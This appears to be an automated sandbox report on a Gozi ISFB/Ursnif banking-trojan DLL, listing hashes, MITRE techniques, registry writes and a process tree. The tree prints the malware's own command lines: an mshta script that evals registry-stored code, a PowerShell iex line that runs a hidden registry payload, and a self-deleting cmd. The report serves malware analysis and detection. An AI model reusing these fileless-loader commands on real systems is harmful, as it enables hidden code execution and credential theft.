gozi_ifsb | c513c300dd29b821c87623a3718a5d29186fb9bdabb61e42abe5c42cb944bb5f

Analysis

max time kernel
149s
max time network
151s
platform
windows7_x64
resource
win7v20201028
submitted
09-12-2020 18:28

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General

Target

YyIUwQv.dll
Size

565KB
MD5

7099df90d162654fa9e3effa97279f51
SHA1

605233409966904822a2e356d662ef837f778396
SHA256

c513c300dd29b821c87623a3718a5d29186fb9bdabb61e42abe5c42cb944bb5f
SHA512

0623038f073dcb8930228f6866a073e9b6bbfaa79fc0f4ee652cb2b2fc2cb65f91028c33d38597504ad62adca00d477804a908034e82796fdf8e32cb378b8b53

Score

10^/10

gozi_ifsb ursnif banker spyware trojan

Malware Config

Signatures

Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
banker trojan gozi_ifsb
Ursnif, Dreambot
Ursnif is a variant of the Gozi IFSB with more capabilities.
banker trojan ursnif

Deletes itself 1 IoCs

pid	Process
612	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1496 set thread context of 1236	1496	powershell.exe	14
PID 1236 set thread context of 612	1236	Explorer.EXE	49
PID 612 set thread context of 1596	612	cmd.exe	51
PID 1236 set thread context of 1052	1236	Explorer.EXE	61

Discovers systems in the same network 1 TTPs 1 IoCs

discovery

Remote System Discovery

T1018

pid	Process
1644	net.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
1844	tasklist.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
592	systeminfo.exe

Modifies Internet Explorer settings 1 TTPs 85 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{6910C731-3A55-11EB-A476-76BCB60B883E} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b08d0a1862ced601	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000033044fc40189d459fe40d0e3dcc9b6600000000020000000000106600000001000020000000289122f063f2c60051adf5b1a9aec858c30bb37af0c83f4b07786cec3113119b000000000e80000000020000200000001af957b67e6c926a80a7304d09493b688d103d068e53176c0f05de29fd99df94900000002bf6b167bdd148eef14f23ed4d6de5e95d356f639a456a17b046844d9c5696d658aa14c4fae81d58216f7d12a49a93ba8e2ffb464408774e8c8571315cfee27b2d039489f6983cd9189068d14754c84b9f90952afd3980a783e924ee2862c7cf362515d355eb50364b6221f40550ce99114204bff4d237da9ff576a7aaff03f7be59a32d5b264ed6a3c32596f0c928e940000000d92a75917de03ba1a69abb088c17a0584e73d705c6bd24738fbfefd10c388255a982db420947611c2f3cc5974c532b9575f3d8eaf0cb5c7e2fc06dc6a7a670d6	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{3F4763F1-3A55-11EB-A476-76BCB60B883E} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000033044fc40189d459fe40d0e3dcc9b660000000002000000000010660000000100002000000003c8a73e107286b8c847230c9835ad55408f50e8daaf7f146223f86608bbdced000000000e80000000020000200000000bbb3120b5dbcc1034fbbea5c9654b7a87ee64bd601a47258fabbff02b5f7b88200000005185102831a6f2634c79a63e4a745829dca1a9a7ed25c85324e14409cb8197a440000000bc015c5b2566588df6230d47aa214268c0cc94d2539475842d4b9c69e7c377b9974846e843577d00f6aa1813ce3a103dafa1366578a9d7b454cff2a9b449aee1	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{5C1A8A71-3A55-11EB-A476-76BCB60B883E} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1596	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1596	PING.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1784	rundll32.exe
1496	powershell.exe
1496	powershell.exe
1236	Explorer.EXE

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
1496	powershell.exe
1236	Explorer.EXE
612	cmd.exe
1236	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeDebugPrivilege	1844	tasklist.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
1304	iexplore.exe
1016	iexplore.exe
1312	iexplore.exe
1312	iexplore.exe
1312	iexplore.exe

Suspicious use of SetWindowsHookEx 21 IoCs

pid	Process
1304	iexplore.exe
1304	iexplore.exe
1800	IEXPLORE.EXE
1800	IEXPLORE.EXE
1016	iexplore.exe
1016	iexplore.exe
1504	IEXPLORE.EXE
1504	IEXPLORE.EXE
1312	iexplore.exe
1312	iexplore.exe
1012	IEXPLORE.EXE
1012	IEXPLORE.EXE
1312	iexplore.exe
1312	iexplore.exe
1720	IEXPLORE.EXE
1720	IEXPLORE.EXE
1312	iexplore.exe
1312	iexplore.exe
1012	IEXPLORE.EXE
1012	IEXPLORE.EXE
1236	Explorer.EXE

Suspicious use of WriteProcessMemory 129 IoCs

description	pid	Process	procid_target
PID 1208 wrote to memory of 1784	1208	rundll32.exe	25
PID 1208 wrote to memory of 1784	1208	rundll32.exe	25
PID 1208 wrote to memory of 1784	1208	rundll32.exe	25
PID 1208 wrote to memory of 1784	1208	rundll32.exe	25
PID 1208 wrote to memory of 1784	1208	rundll32.exe	25
PID 1208 wrote to memory of 1784	1208	rundll32.exe	25
PID 1208 wrote to memory of 1784	1208	rundll32.exe	25
PID 1304 wrote to memory of 1800	1304	iexplore.exe	33
PID 1304 wrote to memory of 1800	1304	iexplore.exe	33
PID 1304 wrote to memory of 1800	1304	iexplore.exe	33
PID 1304 wrote to memory of 1800	1304	iexplore.exe	33
PID 1016 wrote to memory of 1504	1016	iexplore.exe	36
PID 1016 wrote to memory of 1504	1016	iexplore.exe	36
PID 1016 wrote to memory of 1504	1016	iexplore.exe	36
PID 1016 wrote to memory of 1504	1016	iexplore.exe	36
PID 1312 wrote to memory of 1012	1312	iexplore.exe	38
PID 1312 wrote to memory of 1012	1312	iexplore.exe	38
PID 1312 wrote to memory of 1012	1312	iexplore.exe	38
PID 1312 wrote to memory of 1012	1312	iexplore.exe	38
PID 1312 wrote to memory of 1720	1312	iexplore.exe	39
PID 1312 wrote to memory of 1720	1312	iexplore.exe	39
PID 1312 wrote to memory of 1720	1312	iexplore.exe	39
PID 1312 wrote to memory of 1720	1312	iexplore.exe	39
PID 1340 wrote to memory of 1496	1340	mshta.exe	43
PID 1340 wrote to memory of 1496	1340	mshta.exe	43
PID 1340 wrote to memory of 1496	1340	mshta.exe	43
PID 1496 wrote to memory of 1652	1496	powershell.exe	45
PID 1496 wrote to memory of 1652	1496	powershell.exe	45
PID 1496 wrote to memory of 1652	1496	powershell.exe	45
PID 1652 wrote to memory of 776	1652	csc.exe	46
PID 1652 wrote to memory of 776	1652	csc.exe	46
PID 1652 wrote to memory of 776	1652	csc.exe	46
PID 1496 wrote to memory of 1604	1496	powershell.exe	47
PID 1496 wrote to memory of 1604	1496	powershell.exe	47
PID 1496 wrote to memory of 1604	1496	powershell.exe	47
PID 1604 wrote to memory of 1648	1604	csc.exe	48
PID 1604 wrote to memory of 1648	1604	csc.exe	48
PID 1604 wrote to memory of 1648	1604	csc.exe	48
PID 1496 wrote to memory of 1236	1496	powershell.exe	14
PID 1496 wrote to memory of 1236	1496	powershell.exe	14
PID 1496 wrote to memory of 1236	1496	powershell.exe	14
PID 1236 wrote to memory of 612	1236	Explorer.EXE	49
PID 1236 wrote to memory of 612	1236	Explorer.EXE	49
PID 1236 wrote to memory of 612	1236	Explorer.EXE	49
PID 1236 wrote to memory of 612	1236	Explorer.EXE	49
PID 1236 wrote to memory of 612	1236	Explorer.EXE	49
PID 1236 wrote to memory of 612	1236	Explorer.EXE	49
PID 612 wrote to memory of 1596	612	cmd.exe	51
PID 612 wrote to memory of 1596	612	cmd.exe	51
PID 612 wrote to memory of 1596	612	cmd.exe	51
PID 612 wrote to memory of 1596	612	cmd.exe	51
PID 612 wrote to memory of 1596	612	cmd.exe	51
PID 612 wrote to memory of 1596	612	cmd.exe	51
PID 1236 wrote to memory of 520	1236	Explorer.EXE	52
PID 1236 wrote to memory of 520	1236	Explorer.EXE	52
PID 1236 wrote to memory of 520	1236	Explorer.EXE	52
PID 520 wrote to memory of 1516	520	cmd.exe	54
PID 520 wrote to memory of 1516	520	cmd.exe	54
PID 520 wrote to memory of 1516	520	cmd.exe	54
PID 1236 wrote to memory of 852	1236	Explorer.EXE	55
PID 1236 wrote to memory of 852	1236	Explorer.EXE	55
PID 1236 wrote to memory of 852	1236	Explorer.EXE	55
PID 1236 wrote to memory of 1796	1236	Explorer.EXE	57
PID 1236 wrote to memory of 1796	1236	Explorer.EXE	57
PID 1236 wrote to memory of 1796	1236	Explorer.EXE	57
PID 1796 wrote to memory of 592	1796	cmd.exe	59
PID 1796 wrote to memory of 592	1796	cmd.exe	59
PID 1796 wrote to memory of 592	1796	cmd.exe	59
PID 1236 wrote to memory of 1052	1236	Explorer.EXE	61
PID 1236 wrote to memory of 1052	1236	Explorer.EXE	61
PID 1236 wrote to memory of 1052	1236	Explorer.EXE	61
PID 1236 wrote to memory of 1052	1236	Explorer.EXE	61
PID 1236 wrote to memory of 1052	1236	Explorer.EXE	61
PID 1236 wrote to memory of 1052	1236	Explorer.EXE	61
PID 1236 wrote to memory of 1052	1236	Explorer.EXE	61
PID 1236 wrote to memory of 1660	1236	Explorer.EXE	64
PID 1236 wrote to memory of 1660	1236	Explorer.EXE	64
PID 1236 wrote to memory of 1660	1236	Explorer.EXE	64
PID 1236 wrote to memory of 1208	1236	Explorer.EXE	66
PID 1236 wrote to memory of 1208	1236	Explorer.EXE	66
PID 1236 wrote to memory of 1208	1236	Explorer.EXE	66
PID 1208 wrote to memory of 1644	1208	cmd.exe	68
PID 1208 wrote to memory of 1644	1208	cmd.exe	68
PID 1208 wrote to memory of 1644	1208	cmd.exe	68
PID 1236 wrote to memory of 1564	1236	Explorer.EXE	69
PID 1236 wrote to memory of 1564	1236	Explorer.EXE	69
PID 1236 wrote to memory of 1564	1236	Explorer.EXE	69
PID 1236 wrote to memory of 980	1236	Explorer.EXE	71
PID 1236 wrote to memory of 980	1236	Explorer.EXE	71
PID 1236 wrote to memory of 980	1236	Explorer.EXE	71
PID 980 wrote to memory of 1640	980	cmd.exe	73
PID 980 wrote to memory of 1640	980	cmd.exe	73
PID 980 wrote to memory of 1640	980	cmd.exe	73
PID 1236 wrote to memory of 1820	1236	Explorer.EXE	74
PID 1236 wrote to memory of 1820	1236	Explorer.EXE	74
PID 1236 wrote to memory of 1820	1236	Explorer.EXE	74
PID 1236 wrote to memory of 2016	1236	Explorer.EXE	76
PID 1236 wrote to memory of 2016	1236	Explorer.EXE	76
PID 1236 wrote to memory of 2016	1236	Explorer.EXE	76
PID 2016 wrote to memory of 1844	2016	cmd.exe	78
PID 2016 wrote to memory of 1844	2016	cmd.exe	78
PID 2016 wrote to memory of 1844	2016	cmd.exe	78
PID 1236 wrote to memory of 1408	1236	Explorer.EXE	79
PID 1236 wrote to memory of 1408	1236	Explorer.EXE	79
PID 1236 wrote to memory of 1408	1236	Explorer.EXE	79
PID 1236 wrote to memory of 592	1236	Explorer.EXE	81
PID 1236 wrote to memory of 592	1236	Explorer.EXE	81
PID 1236 wrote to memory of 592	1236	Explorer.EXE	81
PID 592 wrote to memory of 1784	592	cmd.exe	83
PID 592 wrote to memory of 1784	592	cmd.exe	83
PID 592 wrote to memory of 1784	592	cmd.exe	83
PID 1236 wrote to memory of 848	1236	Explorer.EXE	84
PID 1236 wrote to memory of 848	1236	Explorer.EXE	84
PID 1236 wrote to memory of 848	1236	Explorer.EXE	84
PID 1236 wrote to memory of 1048	1236	Explorer.EXE	86
PID 1236 wrote to memory of 1048	1236	Explorer.EXE	86
PID 1236 wrote to memory of 1048	1236	Explorer.EXE	86
PID 1048 wrote to memory of 1508	1048	cmd.exe	88
PID 1048 wrote to memory of 1508	1048	cmd.exe	88
PID 1048 wrote to memory of 1508	1048	cmd.exe	88
PID 1236 wrote to memory of 1780	1236	Explorer.EXE	89
PID 1236 wrote to memory of 1780	1236	Explorer.EXE	89
PID 1236 wrote to memory of 1780	1236	Explorer.EXE	89
PID 1236 wrote to memory of 736	1236	Explorer.EXE	91
PID 1236 wrote to memory of 736	1236	Explorer.EXE	91
PID 1236 wrote to memory of 736	1236	Explorer.EXE	91
PID 1236 wrote to memory of 1248	1236	Explorer.EXE	93
PID 1236 wrote to memory of 1248	1236	Explorer.EXE	93
PID 1236 wrote to memory of 1248	1236	Explorer.EXE	93

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1236
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\YyIUwQv.dll,#1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1208
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\YyIUwQv.dll,#1
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1784
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\B3914E35-76AB-5DAC-1897-0AE1CCBBDEA5\\\Adtsgsvc'));if(!window.flag)close()</script>"
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\B3914E35-76AB-5DAC-1897-0AE1CCBBDEA5").apiMbrkr))
    3⤵
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1496
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\12vyij4i\12vyij4i.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1652
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES47AA.tmp" "c:\Users\Admin\AppData\Local\Temp\12vyij4i\CSCEB4DC31767FC40DCA1846C41F5D0416A.TMP"
        5⤵
        
        PID:776
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\o3acrfsr\o3acrfsr.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1604
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4827.tmp" "c:\Users\Admin\AppData\Local\Temp\o3acrfsr\CSC39D9C03A419A4E939725E888D79E4017.TMP"
        5⤵
        
        PID:1648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\YyIUwQv.dll"
  2⤵
  - Deletes itself
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:612
- - C:\Windows\system32\PING.EXE
    ping localhost -n 5
    3⤵
    - Runs ping.exe
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1596
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\67B4.bi1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:520
- - C:\Windows\system32\nslookup.exe
